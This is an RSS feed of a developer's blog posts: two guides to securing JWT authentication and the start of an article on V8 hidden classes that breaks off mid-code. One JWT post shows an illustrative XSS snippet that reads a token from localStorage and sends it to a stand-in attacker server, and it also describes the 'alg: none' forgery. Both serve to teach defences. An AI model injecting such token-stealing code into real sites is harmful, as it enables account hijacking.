<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Rahul Kumar</title>
    <description>The latest articles on DEV Community by Rahul Kumar (@rahuls24).</description>
    <link>https://dev.to/rahuls24</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F690678%2F0e3e74c2-1262-4eb0-b232-721c76e65557.jpeg</url>
      <title>DEV Community: Rahul Kumar</title>
      <link>https://dev.to/rahuls24</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rahuls24"/>
    <language>en</language>
    <item>
      <title>Essential JWT Security (Part 2): Refresh Tokens and Revocation Made Simple</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Tue, 30 Sep 2025 07:54:02 +0000</pubDate>
      <link>https://dev.to/rahuls24/essential-jwt-security-part-2-refresh-tokens-and-revocation-made-simple-12pf</link>
      <guid>https://dev.to/rahuls24/essential-jwt-security-part-2-refresh-tokens-and-revocation-made-simple-12pf</guid>
      <description>&lt;h2&gt;
  
  
  Mastering JWT Security: Refresh Tokens, Revocation, and Real Logout
&lt;/h2&gt;

&lt;p&gt;So, before we dive in: &lt;strong&gt;here’s Part 1&lt;/strong&gt; — &lt;em&gt;Essential JWT Security Best Practices for Developers&lt;/em&gt; — check it out if you haven’t already. → &lt;a href="https://dev.to/rahuls24/essential-jwt_security_best_practices_for_developers-7k5"&gt;https://dev.to/rahuls24/essential-jwt_security_best_practices_for_developers-7k5&lt;/a&gt; ([DEV Community][1])&lt;/p&gt;




&lt;p&gt;Alright, so last time we talked about JWTs and how people (me included, years ago) manage to mess them up. LocalStorage? Bad idea. Weak secrets? Been there, done that.&lt;/p&gt;

&lt;p&gt;But here’s the thing that &lt;em&gt;really&lt;/em&gt; kept me up at night: once you hand out a JWT, how the hell do you take it back?&lt;/p&gt;

&lt;p&gt;They’re “stateless,” which sounds great on paper. Until a user clicks “log out,” closes their laptop, and then you realize… that token is still perfectly valid until it expires. If someone swiped it, they’re chilling in your app like nothing happened.&lt;/p&gt;

&lt;p&gt;That’s the “can’t take it back” problem.&lt;/p&gt;




&lt;h3&gt;
  
  
  Daily Pass vs Season Pass
&lt;/h3&gt;

&lt;p&gt;The way the pros handle it is by splitting the job in two. Think of it like theme park tickets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  The &lt;strong&gt;access token&lt;/strong&gt; is your day pass. It works everywhere in the park, but only until the day’s over. In app terms, maybe 15 minutes. If it gets stolen, eh, it’s worthless soon anyway.&lt;/li&gt;
&lt;li&gt;  The &lt;strong&gt;refresh token&lt;/strong&gt; is the season pass. It doesn’t let you straight onto the rides — it just gets you another daily pass. This one lasts longer, maybe a week or a month, and you need to guard it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When I first heard this, it clicked. Why risk one all-powerful token when you can just rotate the short-lived one?&lt;/p&gt;




&lt;h3&gt;
  
  
  Where Do You Put These Things?
&lt;/h3&gt;

&lt;p&gt;Here’s where I see a lot of devs (and past me again) fumble: storing tokens.&lt;/p&gt;

&lt;p&gt;The rule of thumb:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Refresh token goes into an &lt;strong&gt;HttpOnly cookie&lt;/strong&gt;. This is the “special secure pocket.” Your JS can’t touch it, so XSS attacks have a harder time grabbing it.&lt;/li&gt;
&lt;li&gt;  Access token just hangs out in memory. No fancy storage. When the tab closes, poof, it’s gone.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Something like this in Express:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;refreshToken&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;issueTokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;refreshToken&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;refreshToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;httpOnly&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;secure&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;sameSite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Strict&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;accessToken&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One in the cookie jar, one in your app’s hand.&lt;/p&gt;




&lt;h3&gt;
  
  
  Keeping the User Happy
&lt;/h3&gt;

&lt;p&gt;Now, nobody wants to get booted out every 15 minutes. I built an app once that did exactly that (because I only used short-lived access tokens)… and yeah, the users hated me.&lt;/p&gt;

&lt;p&gt;The fix: refresh quietly.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  If the app starts up, or&lt;/li&gt;
&lt;li&gt;  if you hit an API and get a &lt;code&gt;401 Unauthorized&lt;/code&gt;…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…just hit your &lt;code&gt;/refresh_token&lt;/code&gt; endpoint in the background. The browser sends the refresh token cookie along, server checks it in the DB, and if it’s legit, hands you back a new access token. Your app swaps it in, retries the request, and the user has no idea anything happened. Smooth.&lt;/p&gt;




&lt;h3&gt;
  
  
  Finally: The Power to Revoke
&lt;/h3&gt;

&lt;p&gt;Here’s the best part. Because refresh tokens live in your database, you can actually take them back.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  User logs out? Kill their refresh token.&lt;/li&gt;
&lt;li&gt;  Password change? Wipe all tokens for that user.&lt;/li&gt;
&lt;li&gt;  Something sketchy going on? Nuke their tokens from orbit.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And just like that, the stateless JWT problem isn’t a problem anymore. You keep the speed and scale of access tokens, but you get the control of a normal session system.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;If you’re building something serious, this setup is basically non-negotiable. I learned the hard way. Hopefully you don’t have to.&lt;/p&gt;

&lt;p&gt;The tricky part about JWTs is that they look deceptively simple at first — “just sign a token and you’re done.” But the moment you need &lt;em&gt;real-world features&lt;/em&gt; like logout, password resets, or revoking sessions on suspicious activity, you realize plain JWTs don’t cut it.&lt;/p&gt;

&lt;p&gt;That’s where the access + refresh token model shines. It gives you speed and statelessness where you want it, but control when you need it.&lt;/p&gt;

&lt;p&gt;If you’ve made it this far, I’d say you’re already ahead of the curve — most apps in the wild are still doing the bare-minimum JWT setup. Get this part right, and you’ll save yourself a lot of late-night “why is this user still logged in?!”&lt;/p&gt;

&lt;p&gt;And hey, if you’ve got your own battle stories or tricks for handling JWTs, I’d love to hear them in the comments. That’s how we all level up together.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>javascript</category>
      <category>authentication</category>
    </item>
    <item>
      <title>Essential JWT Security Best Practices for Developers</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Sat, 27 Sep 2025 01:23:12 +0000</pubDate>
      <link>https://dev.to/rahuls24/essential-jwt-security-best-practices-for-developers-7k5</link>
      <guid>https://dev.to/rahuls24/essential-jwt-security-best-practices-for-developers-7k5</guid>
      <description>&lt;h3&gt;
  
  
  JWT Security for Devs: Avoiding the Common Traps
&lt;/h3&gt;

&lt;p&gt;JSON Web Tokens (JWTs) are everywhere these days. If you're building a web app, you've probably run into them. They're popular for handling logins because they're simple and don't require the server to keep track of who's logged in.&lt;/p&gt;

&lt;p&gt;But here's the catch: that simplicity can be misleading. It’s easy to make a small mistake with JWTs that quietly blows a huge hole in your app's security. It's a classic case of a tool being only as safe as the person using it.&lt;/p&gt;

&lt;p&gt;So, let's skip the dry textbook stuff and talk about the real-world traps that can get you into trouble.&lt;/p&gt;




&lt;h4&gt;
  
  
  Quick Refresher: What's a JWT, Really?
&lt;/h4&gt;

&lt;p&gt;You've seen that long string of jumbled characters with two dots in the middle. It looks like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;Header&amp;gt;.&amp;lt;Payload&amp;gt;.&amp;lt;Signature&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Think of a JWT as a temporary ID card.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Header&lt;/strong&gt;: This is like the fine print on the card, saying what kind of card it is and how it was made (e.g., &lt;code&gt;"alg": "HS256"&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload&lt;/strong&gt;: This is the actual info on the card, like your &lt;code&gt;userId&lt;/code&gt; and what you're allowed to do (&lt;code&gt;roles&lt;/code&gt;). &lt;strong&gt;Crucially, this part is not secret.&lt;/strong&gt; It's just scrambled in a way that anyone can unscramble (Base64 encoded). Think of it like a postcard—the mailman can read it, so never put passwords or credit card numbers here.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signature&lt;/strong&gt;: This is the tamper-proof hologram on the ID card. It proves that the information on the card is legit and hasn't been messed with.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A common myth is that JWTs are automatically secure because of this signature. But the signature only proves the token is authentic. Its real security depends entirely on how you create it, where you keep it, and how you check it.&lt;/p&gt;




&lt;h3&gt;
  
  
  Trap #1: Leaving Your Key Under the Doormat (&lt;code&gt;localStorage&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Honestly, the most frequent mistake is storing the JWT in &lt;code&gt;localStorage&lt;/code&gt;. So many online tutorials show you this method because it’s easy.&lt;/p&gt;

&lt;p&gt;And yeah, it works. You log in, you stash the token with &lt;code&gt;localStorage.setItem('token', jwt)&lt;/code&gt;, and you're good to go. The problem is, &lt;code&gt;localStorage&lt;/code&gt; is like a public bulletin board for your website. Any piece of JavaScript running on your page can read what's on it. This makes it a goldmine for Cross-Site Scripting (XSS) attacks.&lt;/p&gt;

&lt;p&gt;Imagine a hacker finds a tiny crack in your site—maybe a leaky comment box or a shady third-party ad. All they have to do is inject a little bit of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// A hacker's sneaky code on your site&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// And just like that, they've mailed your user's token to their own server.&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attackers-evil-server.com/steal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boom. They've just hijacked a user's account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Use &lt;code&gt;HttpOnly&lt;/code&gt; cookies instead. Think of an &lt;code&gt;HttpOnly&lt;/code&gt; cookie as a special, secure pocket. The browser can put the token in there and show it to the server with every request, but your website's JavaScript code can't reach in and grab it. This single change shuts down this entire type of attack.&lt;/p&gt;

&lt;p&gt;When you set the cookie on your server, be strict about it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Example in Express.js&lt;/span&gt;
&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;httpOnly&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;// The magic ingredient! Blocks JavaScript.&lt;/span&gt;
  &lt;span class="na"&gt;secure&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// Only send it over secure HTTPS connections.&lt;/span&gt;
  &lt;span class="na"&gt;sameSite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Strict&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;   &lt;span class="c1"&gt;// Helps protect against another attack called CSRF.&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a much safer way to start.&lt;/p&gt;




&lt;h3&gt;
  
  
  Trap #2: The "Trust Me, Bro" Algorithm
&lt;/h3&gt;

&lt;p&gt;This is an oldie but a goodie. Some older JWT libraries had a weird flaw. You could create a token and in the header, set the algorithm to &lt;code&gt;"alg": "none"&lt;/code&gt;. If the server wasn't specifically told to reject this, it would just... accept the token. No signature check, no questions asked.&lt;/p&gt;

&lt;p&gt;An attacker could grab a token, decode it, change the user ID to "admin," and set the algorithm to &lt;code&gt;"none"&lt;/code&gt;. Then they'd chop off the signature part.&lt;/p&gt;

&lt;p&gt;If your server blindly trusted the header, the attacker would instantly be an admin. It’s like showing a bouncer a ticket that says, "No signature required," and having them just wave you in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Modern tools are better about this, but you should always be cautious. Don't be so trusting! When you check a token, tell your server exactly which algorithms you allow.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// "I will ONLY accept tokens signed with HS256 or RS256."&lt;/span&gt;
&lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;algorithms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;HS256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;RS256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Trap #3: Using "password123" as Your Secret
&lt;/h3&gt;

&lt;p&gt;The signature's strength depends entirely on how good your secret key is. If a hacker can guess your secret, they can create their own perfect, valid tokens for any user with any permissions they want. It’s like they have a master key to your entire application.&lt;/p&gt;

&lt;p&gt;You’d be shocked how many projects use simple secrets like &lt;code&gt;"secret"&lt;/code&gt;, &lt;code&gt;"password"&lt;/code&gt;, or &lt;code&gt;"123456"&lt;/code&gt;, especially during development, and then forget to change them. Hackers have tools that do nothing but try thousands of these common secrets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Your secret should be a long, random, meaningless string of characters. More importantly, &lt;strong&gt;never write it directly in your code&lt;/strong&gt;. Store it in a config file that isn't checked into version control (like an environment variable) or use a proper secret manager.&lt;/p&gt;




&lt;h3&gt;
  
  
  Trap #4: The Token That Lives Forever
&lt;/h3&gt;

&lt;p&gt;One of the features of JWTs is that the server doesn't have to remember them. But this creates a problem: once you issue a token, it’s good until it expires. If you forget to set an expiration date, you've just created a "forever token."&lt;/p&gt;

&lt;p&gt;This is incredibly risky. If that token is ever stolen, the attacker has access to that user's account forever. Even if the user changes their password, that old stolen token still works. It's like a house key you can never, ever change.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Always give your tokens an expiration date (&lt;code&gt;exp&lt;/code&gt;). A good strategy is to issue short-lived "access tokens" (good for maybe 15 minutes) and long-lived "refresh tokens." This way, if an access token gets stolen, the damage is limited because it will be useless in a few minutes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This token will self-destruct in one hour.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;expiresIn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1h&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Trap #5: Forgetting to Read the Fine Print
&lt;/h3&gt;

&lt;p&gt;Checking the signature is just step one. The payload has other useful bits of info that people often ignore, like &lt;code&gt;iss&lt;/code&gt; (who issued it) and &lt;code&gt;aud&lt;/code&gt; (who it's for).&lt;/p&gt;

&lt;p&gt;Think of it this way: a ticket to a concert is only valid if it's for the right venue (&lt;code&gt;aud&lt;/code&gt;) and was issued by a legitimate ticket seller (&lt;code&gt;iss&lt;/code&gt;). You can't use a ticket for a Taylor Swift concert to get into a Metallica show.&lt;/p&gt;

&lt;p&gt;This is super important in modern apps where different services talk to each other. If you don't check these, an attacker might be able to get a token from a low-security part of your app (like a "contact us" form) and use it to access a high-security part (like user profile settings).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Be specific when you check the token. Make sure it's being used for the purpose it was created for.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;audience&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my-user-api&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;issuer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://auth.mycompany.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Trap #6: The "I Can't Take It Back" Problem
&lt;/h3&gt;

&lt;p&gt;So, what happens if a token gets stolen &lt;em&gt;before&lt;/em&gt; it expires? This is the toughest part of using JWTs. Because the server is "stateless" (it doesn't keep a list of active tokens), you can't just tell it, "Hey, don't accept this one anymore."&lt;/p&gt;

&lt;p&gt;Relying on short expiration times helps, but it’s not a perfect solution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; You have to make your server a little less forgetful.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Keep a Banned List:&lt;/strong&gt; Create a list of stolen or logged-out token IDs in a fast database. When you check a token, you first check its signature, then you check if its ID is on the banned list.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Use Refresh Tokens:&lt;/strong&gt; This is often the cleanest way. If an access token is stolen, you just revoke the user's refresh token. The thief is left with an access token that will expire on its own in a few minutes, and they won't be able to get a new one.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;The Nuclear Option:&lt;/strong&gt; If you think there's a serious breach, you can change your secret key. This will instantly invalidate &lt;em&gt;all&lt;/em&gt; active tokens for every user, forcing everyone to log in again. It's like changing the locks on the whole building.&lt;/li&gt;
&lt;/ol&gt;




&lt;h4&gt;
  
  
  Final Thoughts
&lt;/h4&gt;

&lt;p&gt;JWTs are a fantastic tool, but they need to be handled with care. Most security issues aren't with JWTs themselves, but with how we, as developers, use them.&lt;/p&gt;

&lt;p&gt;If you focus on safe storage (&lt;code&gt;HttpOnly&lt;/code&gt; cookies), careful checking (don't just check the signature, check everything!), and have a plan for when things go wrong, you'll be in a great position to build a secure app. At the end of the day, it's on us to use them right.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>authentication</category>
      <category>javascript</category>
    </item>
    <item>
      <title>How Hidden Classes Improved My JavaScript Performance by 5x</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Wed, 23 Jul 2025 04:32:31 +0000</pubDate>
      <link>https://dev.to/rahuls24/how-hidden-classes-improved-my-javascript-performance-by-5x-235f</link>
      <guid>https://dev.to/rahuls24/how-hidden-classes-improved-my-javascript-performance-by-5x-235f</guid>
      <description>&lt;p&gt;So here's a quick story. I was working with this huge dataset — over a &lt;strong&gt;million records&lt;/strong&gt; — and my code was crawling. I expected some lag, sure, but not &lt;em&gt;this&lt;/em&gt; bad. So I decided to dig in and figure out what was going on.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem: Weirdly Structured Objects
&lt;/h2&gt;

&lt;p&gt;Each record in the dataset came from a different source, which meant the object structures were kind of all over the place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;records&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;172383&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;scroll&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;time&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;172384&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hover&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;172385&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At a glance, they look fine — just slightly different. But that slight difference? It was killing performance.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Found: Hidden Classes in V8
&lt;/h2&gt;

&lt;p&gt;After a bit of research and profiling, I realized the issue was tied to how the V8 engine (used in Chrome and Node.js) optimizes object access. It uses something called &lt;strong&gt;hidden classes&lt;/strong&gt; behind the scenes.&lt;/p&gt;

&lt;p&gt;Basically, when you create objects with the same structure — same properties, same order — V8 reuses a single hidden class, which speeds things up. But if your objects are even &lt;em&gt;slightly&lt;/em&gt; different, V8 creates new hidden classes. That’s bad news for performance.&lt;/p&gt;

&lt;h2&gt;
  
  
  My Fix: Normalize Everything
&lt;/h2&gt;

&lt;p&gt;I decided to standardize the shape of every object before doing anything else. Here's the approach I used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;normalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;record&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
